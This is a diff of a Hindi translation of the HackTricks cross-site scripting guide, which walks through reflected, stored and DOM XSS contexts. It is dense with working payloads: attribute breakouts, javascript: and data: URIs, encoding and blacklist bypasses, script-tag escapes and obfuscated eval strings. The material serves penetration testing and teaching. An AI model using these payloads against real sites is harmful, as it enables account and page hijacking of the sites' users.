AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## कार्यप्रणाली
|
||||
## पद्धति
|
||||
|
||||
1. जांचें कि **कोई भी मान जिसे आप नियंत्रित करते हैं** (_पैरामीटर_, _पथ_, _हेडर_?, _कुकीज़_?) **HTML में परावर्तित** हो रहा है या **JS** कोड द्वारा **उपयोग किया जा रहा है**।
|
||||
2. **संदर्भ खोजें** जहां यह परावर्तित/उपयोग किया गया है।
|
||||
3. यदि **परावर्तित** है
|
||||
1. जांचें कि **कोई भी मान जिसे आप नियंत्रित करते हैं** (_पैरामीटर_, _पथ_, _हेडर_?, _कुकीज़_?) **HTML में परिलक्षित** हो रहा है या **JS** कोड द्वारा **उपयोग किया जा रहा है**।
|
||||
2. **संदर्भ खोजें** जहां यह परिलक्षित/उपयोग किया गया है।
|
||||
3. यदि **परिलक्षित** है:
|
||||
1. जांचें **आप कौन से प्रतीकों का उपयोग कर सकते हैं** और उसके आधार पर, पेलोड तैयार करें:
|
||||
1. **कच्चे HTML** में:
|
||||
1. क्या आप नए HTML टैग बना सकते हैं?
|
||||
|
@ -28,8 +28,8 @@
|
|||
2. क्या आप स्ट्रिंग को बचा सकते हैं और विभिन्न JS कोड निष्पादित कर सकते हैं?
|
||||
3. क्या आपका इनपुट टेम्पलेट लिटेरल \`\` में है?
|
||||
4. क्या आप सुरक्षा को बायपास कर सकते हैं?
|
||||
4. Javascript **कार्य** जो **निष्पादित** हो रहा है
|
||||
1. आप निष्पादित करने के लिए कार्य का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
|
||||
4. Javascript **फंक्शन** जो **निष्पादित** हो रहा है:
|
||||
1. आप निष्पादित करने के लिए फंक्शन का नाम निर्दिष्ट कर सकते हैं। उदाहरण: `?callback=alert(1)`
|
||||
4. यदि **उपयोग किया गया**:
|
||||
1. आप **DOM XSS** का शोषण कर सकते हैं, ध्यान दें कि आपका इनपुट कैसे नियंत्रित है और यदि आपका **नियंत्रित इनपुट किसी सिंक द्वारा उपयोग किया जा रहा है।**
|
||||
|
||||
|
@ -39,31 +39,31 @@
|
|||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## परावर्तित मान
|
||||
## परिलक्षित मान
|
||||
|
||||
XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परावर्तित हो रहा है**।
|
||||
XSS का सफलतापूर्वक शोषण करने के लिए, आपको सबसे पहले एक **मान खोजने की आवश्यकता है जिसे आप नियंत्रित करते हैं और जो वेब पृष्ठ में परिलक्षित हो रहा है**।
|
||||
|
||||
* **अंतरिम रूप से परावर्तित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परावर्तित हो रहा है, तो आप **परावर्तित XSS** का शोषण कर सकते हैं।
|
||||
* **संग्रहीत और परावर्तित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परावर्तित होता है, तो आप **संग्रहीत XSS** का शोषण कर सकते हैं।
|
||||
* **अंतरिम रूप से परिलक्षित**: यदि आप पाते हैं कि किसी पैरामीटर का मान या यहां तक कि पथ वेब पृष्ठ में परिलक्षित हो रहा है, तो आप **परिलक्षित XSS** का शोषण कर सकते हैं।
|
||||
* **संग्रहीत और परिलक्षित**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, सर्वर में सहेजा गया है और हर बार जब आप एक पृष्ठ तक पहुँचते हैं तो यह परिलक्षित होता है, तो आप **संग्रहीत XSS** का शोषण कर सकते हैं।
|
||||
* **JS के माध्यम से पहुँचा गया**: यदि आप पाते हैं कि एक मान जिसे आप नियंत्रित करते हैं, JS का उपयोग करके पहुँच रहा है, तो आप **DOM XSS** का शोषण कर सकते हैं।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो सबसे पहले आपको यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परावर्तित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे।
|
||||
जब आप XSS का शोषण करने की कोशिश कर रहे हों, तो सबसे पहले आपको यह जानने की आवश्यकता है कि **आपका इनपुट कहाँ परिलक्षित हो रहा है**। संदर्भ के आधार पर, आप विभिन्न तरीकों से मनमाना JS कोड निष्पादित कर सकेंगे।
|
||||
|
||||
### कच्चा HTML
|
||||
|
||||
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परावर्तित** होता है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
|
||||
यदि आपका इनपुट **कच्चे HTML** पृष्ठ पर **परिलक्षित** है, तो आपको JS कोड निष्पादित करने के लिए कुछ **HTML टैग** का दुरुपयोग करना होगा: `<img , <iframe , <svg , <script` ... ये कुछ संभावित HTML टैग हैं जिनका आप उपयोग कर सकते हैं।\
|
||||
इसके अलावा, [क्लाइंट साइड टेम्पलेट इंजेक्शन](../client-side-template-injection-csti.md) को ध्यान में रखें।
|
||||
|
||||
### HTML टैग विशेषता के अंदर
|
||||
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परावर्तित होता है, तो आप कोशिश कर सकते हैं:
|
||||
यदि आपका इनपुट किसी टैग की विशेषता के मान के अंदर परिलक्षित है, तो आप कोशिश कर सकते हैं:
|
||||
|
||||
1. **विशेषता और टैग से बाहर निकलने के लिए** (फिर आप कच्चे HTML में होंगे) और दुरुपयोग करने के लिए नया HTML टैग बनाने के लिए: `"><img [...]`
|
||||
1. **विशेषता और टैग से बाहर निकलने के लिए** (फिर आप कच्चे HTML में होंगे) और दुरुपयोग के लिए नया HTML टैग बनाने के लिए: `"><img [...]`
|
||||
2. यदि आप **विशेषता से बाहर निकल सकते हैं लेकिन टैग से नहीं** (`>` को एन्कोड किया गया है या हटा दिया गया है), तो टैग के आधार पर आप **एक इवेंट बना सकते हैं** जो JS कोड निष्पादित करता है: `" autofocus onfocus=alert(1) x="`
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परावर्तित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। **उदाहरण** के लिए, यदि आप एक इवेंट जैसे `onclick=` को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परावर्तित होता है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए किसी प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
3. यदि आप **विशेषता से बाहर नहीं निकल सकते** (`"` को एन्कोड किया गया है या हटा दिया गया है), तो यह निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप पूरे मान को नियंत्रित करते हैं या केवल एक भाग** आप इसका दुरुपयोग कर सकेंगे। उदाहरण के लिए, यदि आप `onclick=` जैसे इवेंट को नियंत्रित करते हैं, तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे। एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
4. यदि आपका इनपुट "**अविकसित टैग**" के अंदर परिलक्षित है, तो आप **`accesskey`** ट्रिक का प्रयास कर सकते हैं (आपको इसे शोषित करने के लिए कुछ प्रकार की सामाजिक इंजीनियरिंग की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
यदि आप एक वर्ग नाम को नियंत्रित करते हैं तो Angular द्वारा XSS निष्पादित करने का अजीब उदाहरण:
|
||||
```html
|
||||
|
@ -89,7 +89,7 @@ XSS का सफलतापूर्वक शोषण करने के
|
|||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting उस अवसर को संदर्भित करता है **जहाँ आप कार्यों, चर या कक्षाओं को उनके उपयोग के बाद घोषित कर सकते हैं ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहाँ एक XSS अव्यवस्थित चर या कार्यों का उपयोग कर रहा है।**\
|
||||
Javascript Hoisting उस अवसर को संदर्भित करता है **जहाँ आप कार्यों, चर या कक्षाओं को उनके उपयोग के बाद घोषित कर सकते हैं ताकि आप उन परिदृश्यों का दुरुपयोग कर सकें जहाँ XSS अव्यवस्थित चर या कार्यों का उपयोग कर रहा है।**\
|
||||
**अधिक जानकारी के लिए निम्नलिखित पृष्ठ देखें:**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
|
@ -98,13 +98,13 @@ Javascript Hoisting उस अवसर को संदर्भित कर
|
|||
|
||||
### Javascript Function
|
||||
|
||||
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्य को निष्पादित करने के लिए पैरामीटर के रूप में कार्य का नाम स्वीकार करते हैं**। एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
|
||||
कई वेब पृष्ठों में ऐसे एंडपॉइंट होते हैं जो **कार्य को निष्पादित करने के लिए पैरामीटर के रूप में कार्य का नाम स्वीकार करते हैं।** एक सामान्य उदाहरण जो वास्तविक जीवन में देखने को मिलता है वह है: `?callback=callbackFunc`.
|
||||
|
||||
यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे:
|
||||
यह पता लगाने का एक अच्छा तरीका है कि क्या उपयोगकर्ता द्वारा सीधे दिया गया कुछ निष्पादित करने की कोशिश कर रहा है, **पैरामीटर मान को संशोधित करना** (उदाहरण के लिए 'Vulnerable' में) और कंसोल में त्रुटियों की तलाश करना जैसे:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
यदि यह संवेदनशील है, तो आप **एक अलर्ट को ट्रिगर करने में सक्षम हो सकते हैं** केवल मान भेजकर: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**).
|
||||
यदि यह संवेदनशील है, तो आप **एक अलर्ट ट्रिगर कर सकते हैं** केवल मान भेजकर: **`?callback=alert(1)`**। हालाँकि, यह बहुत सामान्य है कि ये एंडपॉइंट **सामग्री को मान्य करेंगे** ताकि केवल अक्षरों, संख्याओं, बिंदुओं और अंडरस्कोर की अनुमति दी जा सके (**`[\w\._]`**).
|
||||
|
||||
हालांकि, उस सीमा के बावजूद कुछ क्रियाएँ करना अभी भी संभव है। इसका कारण यह है कि आप उन मान्य वर्णों का उपयोग करके **DOM में किसी भी तत्व तक पहुँच सकते हैं**:
|
||||
|
||||
|
@ -118,9 +118,9 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
आप सीधे **Javascript फ़ंक्शंस** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`।
|
||||
आप सीधे **Javascript फ़ंक्शन** को भी **ट्रिगर** करने की कोशिश कर सकते हैं: `obj.sales.delOrders`।
|
||||
|
||||
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **एक ही मूल में अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा जिससे अधिक क्रियाएँ की जा सकें।
|
||||
हालांकि, आमतौर पर निर्दिष्ट फ़ंक्शन को निष्पादित करने वाले एंडपॉइंट्स ऐसे एंडपॉइंट्स होते हैं जिनमें ज्यादा दिलचस्प DOM नहीं होता है, **समान मूल के अन्य पृष्ठों** में **ज्यादा दिलचस्प DOM** होगा ताकि अधिक क्रियाएँ की जा सकें।
|
||||
|
||||
इसलिए, **विभिन्न DOM में इस कमजोरियों का दुरुपयोग करने के लिए** **Same Origin Method Execution (SOME)** शोषण विकसित किया गया:
|
||||
|
||||
|
@ -130,7 +130,7 @@ parentElement
|
|||
|
||||
### DOM
|
||||
|
||||
यहाँ **JS कोड** है जो **असुरक्षित** तरीके से कुछ **हमलावर द्वारा नियंत्रित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसका दुरुपयोग करके मनमाना JS कोड निष्पादित कर सकता है।
|
||||
यहाँ **JS कोड** है जो **असुरक्षित** तरीके से कुछ **हमलावर द्वारा नियंत्रित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -157,7 +157,7 @@ parentElement
|
|||
|
||||
जब आपका इनपुट **HTML पृष्ठ के अंदर** परिलक्षित होता है या आप इस संदर्भ में HTML कोड को बचा सकते हैं और इंजेक्ट कर सकते हैं, तो **पहली** चीज़ जो आपको करनी चाहिए वह यह है कि आप जांचें कि क्या आप `<` का दुरुपयोग करके नए टैग बना सकते हैं: बस उस **चर** को **परिलक्षित** करने की कोशिश करें और जांचें कि क्या इसे **HTML एन्कोडेड** किया गया है या **हटाया** गया है या यदि यह **बिना बदलाव के परिलक्षित** हो रहा है। **केवल अंतिम मामले में आप इस मामले का शोषण कर पाएंगे**।\
|
||||
इन मामलों के लिए **याद रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**।**\
|
||||
_**नोट: एक HTML टिप्पणी को बंद करने के लिए**** ****`-->`**** ****या**** ****`--!>`**_
|
||||
_**नोट: एक HTML टिप्पणी को बंद करने के लिए\*\*\*\***** ****`-->`**** ****या \*\*\*\*****`--!>`**_
|
||||
|
||||
इस मामले में और यदि कोई ब्लैक/व्हाइटलिस्टिंग का उपयोग नहीं किया गया है, तो आप ऐसे पे लोड का उपयोग कर सकते हैं:
|
||||
```html
|
||||
|
@ -247,7 +247,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
|||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ कमजोर है)।
|
||||
यदि किसी भेद्यता का लाभ उठाने के लिए आपको **उपयोगकर्ता को एक लिंक या एक फॉर्म** पर क्लिक करने की आवश्यकता है जिसमें पूर्व-भरे हुए डेटा हैं, तो आप [**Clickjacking का दुरुपयोग करने की कोशिश कर सकते हैं**](../clickjacking.md#xss-clickjacking) (यदि पृष्ठ भेद्य है)।
|
||||
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
|
@ -257,8 +257,8 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
|||
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है टैग से **escape** करना और [पिछले अनुभाग](./#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करना ताकि JS कोड निष्पादित किया जा सके।\
|
||||
यदि आप **टैग से escape नहीं कर सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ payload का उपयोग करके ((_ध्यान दें कि इस उदाहरण में विशेषता से escape करने के लिए डबल उद्धरण का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_)):
|
||||
यदि आप **HTML टैग के अंदर हैं**, तो आप जो पहली चीज़ कर सकते हैं वह है **टैग से बचना** और [पिछले अनुभाग](./#injecting-inside-raw-html) में उल्लेखित कुछ तकनीकों का उपयोग करके JS कोड निष्पादित करना।\
|
||||
यदि आप **टैग से नहीं बच सकते**, तो आप टैग के अंदर नए विशेषताएँ बना सकते हैं ताकि JS कोड निष्पादित करने की कोशिश की जा सके, उदाहरण के लिए कुछ पेलोड का उपयोग करके (_ध्यान दें कि इस उदाहरण में विशेषता से बचने के लिए डबल कोट्स का उपयोग किया गया है, यदि आपका इनपुट सीधे टैग के अंदर परिलक्षित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -273,14 +273,14 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
|||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### विशेषता के भीतर
|
||||
### Within the attribute
|
||||
|
||||
यहां तक कि अगर आप **विशेषता से बच नहीं सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सी विशेषता** में आपका मान परिलक्षित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
|
||||
एक और दिलचस्प **उदाहरण** विशेषता `href` है, जहां आप मनमाना कोड निष्पादित करने के लिए `javascript:` प्रोटोकॉल का उपयोग कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
यहां तक कि अगर आप **attribute से बाहर नहीं निकल सकते** (`"` को एन्कोड या हटा दिया गया है), यह इस पर निर्भर करता है कि **कौन सा attribute** आपके मान में परिलक्षित हो रहा है **यदि आप सभी मान को नियंत्रित करते हैं या केवल एक भाग** तो आप इसका दुरुपयोग कर सकेंगे। **उदाहरण के लिए**, यदि आप एक इवेंट को नियंत्रित करते हैं जैसे `onclick=` तो आप इसे क्लिक करने पर मनमाना कोड निष्पादित करने के लिए बना सकेंगे।\
|
||||
एक और दिलचस्प **उदाहरण** है attribute `href`, जहां आप `javascript:` प्रोटोकॉल का उपयोग करके मनमाना कोड निष्पादित कर सकते हैं: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के भीतर बायपास करें**
|
||||
**HTML एन्कोडिंग/URL एन्कोड का उपयोग करके इवेंट के अंदर बायपास करें**
|
||||
|
||||
HTML टैग विशेषताओं के मान के भीतर **HTML एन्कोडेड वर्ण** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML टैग के attributes के मान के अंदर **HTML एन्कोडेड कैरेक्टर्स** **रनटाइम पर डिकोड** होते हैं। इसलिए निम्नलिखित कुछ इस तरह मान्य होगा (पेलोड बोल्ड में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
ध्यान दें कि **किसी भी प्रकार की HTML एन्कोड मान्य है**:
|
||||
```javascript
|
||||
|
@ -311,7 +311,7 @@ HTML टैग विशेषताओं के मान के भीतर
|
|||
```
|
||||
### विशेष प्रोटोकॉल विशेषता के भीतर
|
||||
|
||||
यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित करने** के लिए। कुछ के लिए उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ के लिए नहीं।
|
||||
यहां आप कुछ स्थानों पर **`javascript:`** या **`data:`** प्रोटोकॉल का उपयोग कर सकते हैं **मनमाने JS कोड** को **निष्पादित** करने के लिए। कुछ को उपयोगकर्ता इंटरैक्शन की आवश्यकता होगी और कुछ को नहीं।
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
|
@ -353,7 +353,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**अन्य ओब्फ़स्केशन ट्रिक्स**
|
||||
**अन्य ओबफस्केशन ट्रिक्स**
|
||||
|
||||
_**इस मामले में, पिछले अनुभाग से HTML एन्कोडिंग और यूनिकोड एन्कोडिंग ट्रिक भी मान्य है क्योंकि आप एक एट्रिब्यूट के अंदर हैं।**_
|
||||
```javascript
|
||||
|
@ -369,7 +369,7 @@ _**इस मामले में, पिछले अनुभाग से H
|
|||
|
||||
**`javascript:` के साथ Hex और Octal एन्कोड का उपयोग करना**
|
||||
|
||||
आप **Hex** और **Octal एन्कोड** को `iframe` के `src` विशेषता के अंदर (कम से कम) **JS निष्पादित करने के लिए HTML टैग घोषित करने** के लिए उपयोग कर सकते हैं:
|
||||
आप **Hex** और **Octal एन्कोड** को `iframe` के `src` विशेषता के अंदर (कम से कम) **JS को निष्पादित करने के लिए HTML टैग घोषित करने** के लिए उपयोग कर सकते हैं:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -385,7 +385,7 @@ _**इस मामले में, पिछले अनुभाग से H
|
|||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
यदि आप किसी भी URL को मनमाने **`<a href=`** टैग में इंजेक्ट कर सकते हैं जिसमें **`target="_blank" और rel="opener"`** विशेषताएँ हैं, तो इस व्यवहार का लाभ उठाने के लिए **निम्नलिखित पृष्ठ की जांच करें**:
|
||||
यदि आप किसी भी URL को मनमाने **`<a href=`** टैग में इंजेक्ट कर सकते हैं जिसमें **`target="_blank" और rel="opener"`** विशेषताएँ हैं, तो इस **व्यवहार का लाभ उठाने के लिए निम्नलिखित पृष्ठ की जांच करें**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -424,7 +424,7 @@ From [**यहाँ**](https://portswigger.net/research/exploiting-xss-in-hidde
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fields): आप एक **XSS पेलोड को एक छिपे हुए विशेषता के अंदर निष्पादित** कर सकते हैं, बशर्ते कि आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की विशेषता में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fields): आप एक **XSS पेलोड को एक छिपे हुए विशेषता के अंदर निष्पादित** कर सकते हैं, बशर्ते आप **शिकार** को **की संयोजन** दबाने के लिए **राजी** कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप एक्सेस की विशेषता में एक अलग कुंजी का उपयोग करके एक अलग की संयोजन निर्दिष्ट कर सकते हैं। यहाँ वेक्टर है:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -432,7 +432,7 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
|
|||
|
||||
### ब्लैकलिस्ट बायपास
|
||||
|
||||
इस अनुभाग के भीतर विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और सीखें कि आप कहां उपयोग कर सकते हैं:**
|
||||
इस अनुभाग में विभिन्न एन्कोडिंग का उपयोग करने के कई ट्रिक्स पहले ही उजागर किए जा चुके हैं। **वापस जाएं और सीखें कि आप कहां उपयोग कर सकते हैं:**
|
||||
|
||||
* **HTML एन्कोडिंग (HTML टैग)**
|
||||
* **यूनिकोड एन्कोडिंग (मान्य JS कोड हो सकता है):** `\u0061lert(1)`
|
||||
|
@ -450,7 +450,7 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
|
|||
|
||||
### CSS-गैजेट्स
|
||||
|
||||
यदि आपने वेब के एक **बहुत छोटे हिस्से** में **XSS** पाया है जो किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा किए गए स्थान को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
यदि आपने वेब के एक **बहुत छोटे हिस्से** में **XSS** पाया है जो किसी प्रकार की इंटरैक्शन की आवश्यकता है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप **उस तत्व द्वारा कब्जा की गई जगह को संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
|
||||
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
|
@ -466,15 +466,15 @@ From [**यहाँ**](https://portswigger.net/research/xss-in-hidden-input-fie
|
|||
|
||||
> \<a href="" id=someid class=test onclick=alert() a="">
|
||||
|
||||
यह ट्रिक [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) से ली गई थी
|
||||
यह ट्रिक [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) से ली गई थी।
|
||||
|
||||
## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना
|
||||
|
||||
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने जा रहा है।
|
||||
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट्स के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने जा रहा है।
|
||||
|
||||
### \<script> टैग को एस्केप करना
|
||||
|
||||
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है, तो आप आसानी से `<script>` टैग को **एस्केप** कर सकते हैं:
|
||||
यदि आपका कोड `<script> [...] var input = 'reflected data' [...] </script>` के भीतर डाला गया है, तो आप आसानी से **`<script>`** टैग को बंद करके **एस्केप** कर सकते हैं:
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
|
@ -536,7 +536,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
|
|||
atob("dGhpc2lzYXN0cmluZw==")
|
||||
eval(8680439..toString(30))(983801..toString(36))
|
||||
```
|
||||
**विशेष एस्केप्स**
|
||||
**विशेष एस्केप**
|
||||
